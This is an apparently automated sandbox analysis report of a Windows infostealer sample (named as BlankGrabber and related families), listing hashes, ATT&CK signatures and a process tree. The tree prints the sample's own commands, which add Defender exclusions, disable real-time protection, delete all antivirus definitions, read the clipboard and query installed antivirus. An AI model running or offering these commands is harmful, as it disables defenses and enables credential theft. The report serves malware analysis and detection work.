d4275bfd2554346f7b0be993756a8395d38b4fcfac1f76962d9c59e4dc27738e

Analysis

max time kernel
148s
max time network
126s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
24/09/2026, 14:06

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-09-23_11dced68a5cda4ec93f28fe1a1470046_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
Size 10.4MB
Sample260924-red8gawwet
SHA256 d4275bfd2554346f7b0be993756a8395d38b4fcfac1f76962d9c59e4dc27738e
MD5 11dced68a5cda4ec93f28fe1a1470046
SHA1 a790a46c50f0511d15b496a7df7a109556ada7a2
SHA512 0f419af4333962803e726b646432781c276d0929155df9ded8b3cb60000e9c22a9f6300db51226c44f18853ce093a15389fa4183bbb537b9233b6f3e621cf848
SSDEEP 196608:aePEQdP7C4JG4+NVlTjat7tPGB/ihrAyrXk7VPfF8bfTfQ3LZapK4Dfrtw3G:ae5d+4kjjatZ+/yNrXk7VPfF8bfTvHmW
TLSH
T137B6331562A409F7FBE34579D6559435ABB278218FB1CECF5BA443241E332E0AC3A732
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

collection defense_evasion discovery execution persistence privilege_escalation spyware stealer upx

Malware Config

Signatures

Deletes Windows Defender Definitions 2 TTPs 1 IoCs

Uses mpcmdrun utility to delete all AV definitions.

defense_evasion

Impair Defenses

T1562

Command and Scripting Interpreter

T1059

pid	Process
3744	MpCmdRun.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
4600	powershell.exe
1504	powershell.exe
3404	powershell.exe
3436	powershell.exe
5200	powershell.exe

Disables one or more Microsoft Defender components 1 TTPs 1 IoCs

Uses the Powershell Set-MpPreference cmdlet to disable one or more Microsoft Defender components.

defense_evasion

Disable or Modify Tools

T1562.001

pid	Process
5200	powershell.exe

Clipboard Data 1 TTPs 2 IoCs

Adversaries may collect data stored in the clipboard from users copying information within or between applications.

collection

Clipboard Data

T1115

pid	Process
1388	cmd.exe
996	powershell.exe

Executes dropped EXE 1 IoCs

pid	Process
1272	rar.exe

Loads dropped DLL 19 IoCs

pid	Process
5392	2026-09-23_11dced68a5cda4ec93f28fe1a1470046_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
5392	2026-09-23_11dced68a5cda4ec93f28fe1a1470046_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
5392	2026-09-23_11dced68a5cda4ec93f28fe1a1470046_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
5392	2026-09-23_11dced68a5cda4ec93f28fe1a1470046_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
5392	2026-09-23_11dced68a5cda4ec93f28fe1a1470046_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
5392	2026-09-23_11dced68a5cda4ec93f28fe1a1470046_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
5392	2026-09-23_11dced68a5cda4ec93f28fe1a1470046_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
5392	2026-09-23_11dced68a5cda4ec93f28fe1a1470046_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
5392	2026-09-23_11dced68a5cda4ec93f28fe1a1470046_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
5392	2026-09-23_11dced68a5cda4ec93f28fe1a1470046_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
5392	2026-09-23_11dced68a5cda4ec93f28fe1a1470046_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
5392	2026-09-23_11dced68a5cda4ec93f28fe1a1470046_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
5392	2026-09-23_11dced68a5cda4ec93f28fe1a1470046_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
5392	2026-09-23_11dced68a5cda4ec93f28fe1a1470046_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
5392	2026-09-23_11dced68a5cda4ec93f28fe1a1470046_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
5392	2026-09-23_11dced68a5cda4ec93f28fe1a1470046_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
5392	2026-09-23_11dced68a5cda4ec93f28fe1a1470046_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
5392	2026-09-23_11dced68a5cda4ec93f28fe1a1470046_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
5392	2026-09-23_11dced68a5cda4ec93f28fe1a1470046_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs

Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

Web Service

T1102

flow	ioc
1	discord.com
10	discord.com

Looks up external IP address via web service 1 TTPs 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

discovery

Internet Connection Discovery

T1016.001

flow	ioc
1	ip-api.com

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010

Discovers running processes 1 TTPs 3 IoCs

Running process information can be used to identify security tools or plan follow-on actions.

discovery

Process Discovery

T1057

pid	Process
2092	tasklist.exe
5132	tasklist.exe
5872	tasklist.exe

UPX packed file 59 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/files/0x000c00000001c5a4-68.dat	upx
behavioral2/memory/5392-71-0x00007FFF8C5B0000-0x00007FFF8CC1F000-memory.dmp	upx
behavioral2/files/0x000c00000001c569-74.dat	upx
behavioral2/memory/5392-77-0x00007FFFA60E0000-0x00007FFFA6107000-memory.dmp	upx
behavioral2/files/0x000c00000001c5a1-76.dat	upx
behavioral2/files/0x000c00000001c568-79.dat	upx
behavioral2/files/0x000c00000001c56c-82.dat	upx
behavioral2/memory/5392-85-0x00007FFFA60B0000-0x00007FFFA60C9000-memory.dmp	upx
behavioral2/files/0x000c00000001c56e-86.dat	upx
behavioral2/memory/5392-89-0x00007FFFA6070000-0x00007FFFA607D000-memory.dmp	upx
behavioral2/files/0x000c00000001c56b-94.dat	upx
behavioral2/memory/5392-97-0x00007FFFA6030000-0x00007FFFA6046000-memory.dmp	upx
behavioral2/files/0x000c00000001c5a0-96.dat	upx
behavioral2/memory/5392-99-0x00007FFF8C070000-0x00007FFF8C5A4000-memory.dmp	upx
behavioral2/memory/5392-93-0x00007FFFA6060000-0x00007FFFA606F000-memory.dmp	upx
behavioral2/files/0x000c00000001c56f-100.dat	upx
behavioral2/files/0x000c00000001c572-90.dat	upx
behavioral2/memory/5392-84-0x00007FFFA6080000-0x00007FFFA60AB000-memory.dmp	upx
behavioral2/memory/5392-83-0x00007FFFA60D0000-0x00007FFFA60DF000-memory.dmp	upx
behavioral2/memory/5392-103-0x00007FFFA5FF0000-0x00007FFFA600A000-memory.dmp	upx
behavioral2/files/0x000c00000001c5a8-104.dat	upx
behavioral2/files/0x000c00000001c571-105.dat	upx
behavioral2/memory/5392-107-0x00007FFFA5FE0000-0x00007FFFA5FED000-memory.dmp	upx
behavioral2/files/0x000c00000001c5a2-109.dat	upx
behavioral2/memory/5392-110-0x00007FFF9DAD0000-0x00007FFF9DB03000-memory.dmp	upx
behavioral2/memory/5392-113-0x00007FFF96E10000-0x00007FFF96EDE000-memory.dmp	upx
behavioral2/memory/5392-112-0x00007FFFA60E0000-0x00007FFFA6107000-memory.dmp	upx
behavioral2/memory/5392-106-0x00007FFF8C5B0000-0x00007FFF8CC1F000-memory.dmp	upx
behavioral2/files/0x000c00000001c570-119.dat	upx
behavioral2/memory/5392-122-0x00007FFFA5530000-0x00007FFFA5555000-memory.dmp	upx
behavioral2/files/0x000c00000001c5ae-121.dat	upx
behavioral2/files/0x000c00000001c5b0-127.dat	upx
behavioral2/memory/5392-126-0x00007FFF8FAB0000-0x00007FFF8FC3A000-memory.dmp	upx
behavioral2/memory/5392-129-0x00007FFFA6060000-0x00007FFFA606F000-memory.dmp	upx
behavioral2/memory/5392-130-0x00007FFF93470000-0x00007FFF93524000-memory.dmp	upx
behavioral2/memory/5392-154-0x00007FFFA6030000-0x00007FFFA6046000-memory.dmp	upx
behavioral2/memory/5392-168-0x00007FFF8C070000-0x00007FFF8C5A4000-memory.dmp	upx
behavioral2/memory/5392-228-0x00007FFF9DAD0000-0x00007FFF9DB03000-memory.dmp	upx
behavioral2/memory/5392-259-0x00007FFF96E10000-0x00007FFF96EDE000-memory.dmp	upx
behavioral2/memory/5392-277-0x00007FFFA5530000-0x00007FFFA5555000-memory.dmp	upx
behavioral2/memory/5392-278-0x00007FFF8FAB0000-0x00007FFF8FC3A000-memory.dmp	upx
behavioral2/memory/5392-264-0x00007FFF8C5B0000-0x00007FFF8CC1F000-memory.dmp	upx
behavioral2/memory/5392-279-0x00007FFF93470000-0x00007FFF93524000-memory.dmp	upx
behavioral2/memory/5392-303-0x00007FFFA60D0000-0x00007FFFA60DF000-memory.dmp	upx
behavioral2/memory/5392-304-0x00007FFFA60B0000-0x00007FFFA60C9000-memory.dmp	upx
behavioral2/memory/5392-302-0x00007FFFA60E0000-0x00007FFFA6107000-memory.dmp	upx
behavioral2/memory/5392-301-0x00007FFF8C5B0000-0x00007FFF8CC1F000-memory.dmp	upx
behavioral2/memory/5392-311-0x00007FFFA5FE0000-0x00007FFFA5FED000-memory.dmp	upx
behavioral2/memory/5392-310-0x00007FFFA5FF0000-0x00007FFFA600A000-memory.dmp	upx
behavioral2/memory/5392-308-0x00007FFFA6030000-0x00007FFFA6046000-memory.dmp	upx
behavioral2/memory/5392-307-0x00007FFFA6060000-0x00007FFFA606F000-memory.dmp	upx
behavioral2/memory/5392-306-0x00007FFFA6070000-0x00007FFFA607D000-memory.dmp	upx
behavioral2/memory/5392-305-0x00007FFFA6080000-0x00007FFFA60AB000-memory.dmp	upx
behavioral2/memory/5392-316-0x00007FFF93470000-0x00007FFF93524000-memory.dmp	upx
behavioral2/memory/5392-315-0x00007FFF8FAB0000-0x00007FFF8FC3A000-memory.dmp	upx
behavioral2/memory/5392-313-0x00007FFF96E10000-0x00007FFF96EDE000-memory.dmp	upx
behavioral2/memory/5392-314-0x00007FFFA5530000-0x00007FFFA5555000-memory.dmp	upx
behavioral2/memory/5392-312-0x00007FFF9DAD0000-0x00007FFF9DB03000-memory.dmp	upx
behavioral2/memory/5392-309-0x00007FFF8C070000-0x00007FFF8C5A4000-memory.dmp	upx

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

Executes a command shell one-liner 1 TTPs 26 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4300	cmd.exe
3500	cmd.exe
3748	cmd.exe
4060	cmd.exe
1344	cmd.exe
2608	cmd.exe
5312	cmd.exe
2672	cmd.exe
2848	cmd.exe
4880	cmd.exe
1904	cmd.exe
5848	cmd.exe
2900	cmd.exe
3136	cmd.exe
5568	cmd.exe
2460	cmd.exe
3648	cmd.exe
940	cmd.exe
6108	cmd.exe
816	cmd.exe
3876	cmd.exe
5816	cmd.exe
1824	cmd.exe
4288	cmd.exe
3032	cmd.exe
2912	cmd.exe

System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 2 IoCs

Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

discovery

Wi-Fi Discovery

T1016.002

pid	Process
1904	cmd.exe
3420	netsh.exe

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
3708	WMIC.exe

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

T1082

pid	Process
2340	systeminfo.exe

Suspicious behavior: EnumeratesProcesses 49 IoCs

pid	Process
5392	2026-09-23_11dced68a5cda4ec93f28fe1a1470046_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
5392	2026-09-23_11dced68a5cda4ec93f28fe1a1470046_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
1504	powershell.exe
1504	powershell.exe
1504	powershell.exe
4600	powershell.exe
4600	powershell.exe
5200	powershell.exe
5200	powershell.exe
5200	powershell.exe
4600	powershell.exe
1104	WMIC.exe
1104	WMIC.exe
1104	WMIC.exe
1104	WMIC.exe
996	powershell.exe
996	powershell.exe
3896	powershell.exe
3896	powershell.exe
996	powershell.exe
3896	powershell.exe
3404	powershell.exe
3404	powershell.exe
3404	powershell.exe
1376	powershell.exe
1376	powershell.exe
1376	powershell.exe
1468	WMIC.exe
1468	WMIC.exe
1468	WMIC.exe
1468	WMIC.exe
2572	WMIC.exe
2572	WMIC.exe
2572	WMIC.exe
2572	WMIC.exe
5940	WMIC.exe
5940	WMIC.exe
5940	WMIC.exe
5940	WMIC.exe
3436	powershell.exe
3436	powershell.exe
3436	powershell.exe
3708	WMIC.exe
3708	WMIC.exe
3708	WMIC.exe
3708	WMIC.exe
2560	powershell.exe
2560	powershell.exe
2560	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	1504	powershell.exe
Token: SeDebugPrivilege	4600	powershell.exe
Token: SeDebugPrivilege	5200	powershell.exe
Token: SeDebugPrivilege	5132	tasklist.exe
Token: SeDebugPrivilege	2092	tasklist.exe
Token: SeIncreaseQuotaPrivilege	1104	WMIC.exe
Token: SeSecurityPrivilege	1104	WMIC.exe
Token: SeTakeOwnershipPrivilege	1104	WMIC.exe
Token: SeLoadDriverPrivilege	1104	WMIC.exe
Token: SeSystemProfilePrivilege	1104	WMIC.exe
Token: SeSystemtimePrivilege	1104	WMIC.exe
Token: SeProfSingleProcessPrivilege	1104	WMIC.exe
Token: SeIncBasePriorityPrivilege	1104	WMIC.exe
Token: SeCreatePagefilePrivilege	1104	WMIC.exe
Token: SeBackupPrivilege	1104	WMIC.exe
Token: SeRestorePrivilege	1104	WMIC.exe
Token: SeShutdownPrivilege	1104	WMIC.exe
Token: SeDebugPrivilege	1104	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1104	WMIC.exe
Token: SeRemoteShutdownPrivilege	1104	WMIC.exe
Token: SeUndockPrivilege	1104	WMIC.exe
Token: SeManageVolumePrivilege	1104	WMIC.exe
Token: 33	1104	WMIC.exe
Token: 34	1104	WMIC.exe
Token: 35	1104	WMIC.exe
Token: 36	1104	WMIC.exe
Token: SeDebugPrivilege	5872	tasklist.exe
Token: SeDebugPrivilege	996	powershell.exe
Token: SeDebugPrivilege	3896	powershell.exe
Token: SeIncreaseQuotaPrivilege	1104	WMIC.exe
Token: SeSecurityPrivilege	1104	WMIC.exe
Token: SeTakeOwnershipPrivilege	1104	WMIC.exe
Token: SeLoadDriverPrivilege	1104	WMIC.exe
Token: SeSystemProfilePrivilege	1104	WMIC.exe
Token: SeSystemtimePrivilege	1104	WMIC.exe
Token: SeProfSingleProcessPrivilege	1104	WMIC.exe
Token: SeIncBasePriorityPrivilege	1104	WMIC.exe
Token: SeCreatePagefilePrivilege	1104	WMIC.exe
Token: SeBackupPrivilege	1104	WMIC.exe
Token: SeRestorePrivilege	1104	WMIC.exe
Token: SeShutdownPrivilege	1104	WMIC.exe
Token: SeDebugPrivilege	1104	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1104	WMIC.exe
Token: SeRemoteShutdownPrivilege	1104	WMIC.exe
Token: SeUndockPrivilege	1104	WMIC.exe
Token: SeManageVolumePrivilege	1104	WMIC.exe
Token: 33	1104	WMIC.exe
Token: 34	1104	WMIC.exe
Token: 35	1104	WMIC.exe
Token: 36	1104	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1504	powershell.exe
Token: SeSecurityPrivilege	1504	powershell.exe
Token: SeTakeOwnershipPrivilege	1504	powershell.exe
Token: SeLoadDriverPrivilege	1504	powershell.exe
Token: SeSystemProfilePrivilege	1504	powershell.exe
Token: SeSystemtimePrivilege	1504	powershell.exe
Token: SeProfSingleProcessPrivilege	1504	powershell.exe
Token: SeIncBasePriorityPrivilege	1504	powershell.exe
Token: SeCreatePagefilePrivilege	1504	powershell.exe
Token: SeBackupPrivilege	1504	powershell.exe
Token: SeRestorePrivilege	1504	powershell.exe
Token: SeShutdownPrivilege	1504	powershell.exe
Token: SeDebugPrivilege	1504	powershell.exe
Token: SeSystemEnvironmentPrivilege	1504	powershell.exe

Suspicious use of WriteProcessMemory 59 IoCs

description	pid	Process	procid_target
PID 5700 wrote to memory of 5392	5700	2026-09-23_11dced68a5cda4ec93f28fe1a1470046_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	89
PID 5392 wrote to memory of 4060	5392	2026-09-23_11dced68a5cda4ec93f28fe1a1470046_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	90
PID 5392 wrote to memory of 1824	5392	2026-09-23_11dced68a5cda4ec93f28fe1a1470046_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	92
PID 5392 wrote to memory of 1344	5392	2026-09-23_11dced68a5cda4ec93f28fe1a1470046_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	93
PID 5392 wrote to memory of 5816	5392	2026-09-23_11dced68a5cda4ec93f28fe1a1470046_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	94
PID 1824 wrote to memory of 1504	1824	cmd.exe	98
PID 5816 wrote to memory of 4600	5816	cmd.exe	99
PID 1344 wrote to memory of 5200	1344	cmd.exe	100
PID 5392 wrote to memory of 3032	5392	2026-09-23_11dced68a5cda4ec93f28fe1a1470046_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	101
PID 5392 wrote to memory of 4288	5392	2026-09-23_11dced68a5cda4ec93f28fe1a1470046_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	102
PID 5392 wrote to memory of 940	5392	2026-09-23_11dced68a5cda4ec93f28fe1a1470046_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	105
PID 5392 wrote to memory of 1388	5392	2026-09-23_11dced68a5cda4ec93f28fe1a1470046_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	106
PID 5392 wrote to memory of 6108	5392	2026-09-23_11dced68a5cda4ec93f28fe1a1470046_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	107
PID 5392 wrote to memory of 1904	5392	2026-09-23_11dced68a5cda4ec93f28fe1a1470046_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	110
PID 5392 wrote to memory of 2608	5392	2026-09-23_11dced68a5cda4ec93f28fe1a1470046_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	112
PID 5392 wrote to memory of 5848	5392	2026-09-23_11dced68a5cda4ec93f28fe1a1470046_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	114
PID 5392 wrote to memory of 4168	5392	2026-09-23_11dced68a5cda4ec93f28fe1a1470046_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	116
PID 3032 wrote to memory of 5132	3032	cmd.exe	119
PID 4288 wrote to memory of 2092	4288	cmd.exe	120
PID 4168 wrote to memory of 3896	4168	cmd.exe	121
PID 1388 wrote to memory of 996	1388	cmd.exe	122
PID 2608 wrote to memory of 5768	2608	cmd.exe	123
PID 1904 wrote to memory of 3420	1904	cmd.exe	124
PID 6108 wrote to memory of 5872	6108	cmd.exe	125
PID 940 wrote to memory of 1104	940	cmd.exe	126
PID 5848 wrote to memory of 2340	5848	cmd.exe	127
PID 5392 wrote to memory of 2912	5392	2026-09-23_11dced68a5cda4ec93f28fe1a1470046_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	129
PID 2912 wrote to memory of 4312	2912	cmd.exe	132
PID 3896 wrote to memory of 6024	3896	powershell.exe	133
PID 5392 wrote to memory of 2900	5392	2026-09-23_11dced68a5cda4ec93f28fe1a1470046_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	134
PID 2900 wrote to memory of 4612	2900	cmd.exe	136
PID 5392 wrote to memory of 3136	5392	2026-09-23_11dced68a5cda4ec93f28fe1a1470046_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	137
PID 6024 wrote to memory of 4332	6024	csc.exe	138
PID 3136 wrote to memory of 1236	3136	cmd.exe	140
PID 5392 wrote to memory of 5568	5392	2026-09-23_11dced68a5cda4ec93f28fe1a1470046_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	141
PID 5568 wrote to memory of 1708	5568	cmd.exe	143
PID 5392 wrote to memory of 5312	5392	2026-09-23_11dced68a5cda4ec93f28fe1a1470046_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	144
PID 5312 wrote to memory of 2588	5312	cmd.exe	146
PID 1344 wrote to memory of 3744	1344	cmd.exe	147
PID 5392 wrote to memory of 2672	5392	2026-09-23_11dced68a5cda4ec93f28fe1a1470046_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	148
PID 2672 wrote to memory of 3548	2672	cmd.exe	150
PID 5392 wrote to memory of 2848	5392	2026-09-23_11dced68a5cda4ec93f28fe1a1470046_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	151
PID 2848 wrote to memory of 3404	2848	cmd.exe	153
PID 5392 wrote to memory of 2460	5392	2026-09-23_11dced68a5cda4ec93f28fe1a1470046_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	154
PID 2460 wrote to memory of 1376	2460	cmd.exe	156
PID 5392 wrote to memory of 816	5392	2026-09-23_11dced68a5cda4ec93f28fe1a1470046_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	157
PID 816 wrote to memory of 1272	816	cmd.exe	159
PID 5392 wrote to memory of 4300	5392	2026-09-23_11dced68a5cda4ec93f28fe1a1470046_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	160
PID 4300 wrote to memory of 1468	4300	cmd.exe	162
PID 5392 wrote to memory of 3500	5392	2026-09-23_11dced68a5cda4ec93f28fe1a1470046_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	163
PID 3500 wrote to memory of 2572	3500	cmd.exe	165
PID 5392 wrote to memory of 3648	5392	2026-09-23_11dced68a5cda4ec93f28fe1a1470046_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	166
PID 3648 wrote to memory of 5940	3648	cmd.exe	168
PID 5392 wrote to memory of 3876	5392	2026-09-23_11dced68a5cda4ec93f28fe1a1470046_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	169
PID 3876 wrote to memory of 3436	3876	cmd.exe	171
PID 5392 wrote to memory of 4880	5392	2026-09-23_11dced68a5cda4ec93f28fe1a1470046_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	172
PID 4880 wrote to memory of 3708	4880	cmd.exe	174
PID 5392 wrote to memory of 3748	5392	2026-09-23_11dced68a5cda4ec93f28fe1a1470046_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	175
PID 3748 wrote to memory of 2560	3748	cmd.exe	177

C:\Users\Admin\AppData\Local\Temp\2026-09-23_11dced68a5cda4ec93f28fe1a1470046_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
"C:\Users\Admin\AppData\Local\Temp\2026-09-23_11dced68a5cda4ec93f28fe1a1470046_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:5700
- C:\Users\Admin\AppData\Local\Temp\2026-09-23_11dced68a5cda4ec93f28fe1a1470046_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
  "C:\Users\Admin\AppData\Local\Temp\2026-09-23_11dced68a5cda4ec93f28fe1a1470046_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe"
  2⤵
  - Loads dropped DLL
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:5392
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "ver"
    3⤵
    - Executes a command shell one-liner
    PID:4060
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\2026-09-23_11dced68a5cda4ec93f28fe1a1470046_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe'"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:1824
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\2026-09-23_11dced68a5cda4ec93f28fe1a1470046_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1504
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:1344
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
      4⤵
      Command and Scripting Interpreter: PowerShell
      Disables one or more Microsoft Defender components
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:5200
  - - C:\Program Files\Windows Defender\MpCmdRun.exe
      "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
      4⤵
      Deletes Windows Defender Definitions
      PID:3744
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ ‏‎‌ .scr'"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:5816
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ ‏‎‌ .scr'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4600
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:3032
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO LIST
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:5132
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4288
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO LIST
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:2092
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:940
  - - C:\Windows\System32\Wbem\WMIC.exe
      WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1104
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"
    3⤵
    - Clipboard Data
    - Suspicious use of WriteProcessMemory
    PID:1388
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-Clipboard
      4⤵
      Clipboard Data
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:996
- - C:\Windows\system32\cmd.exe
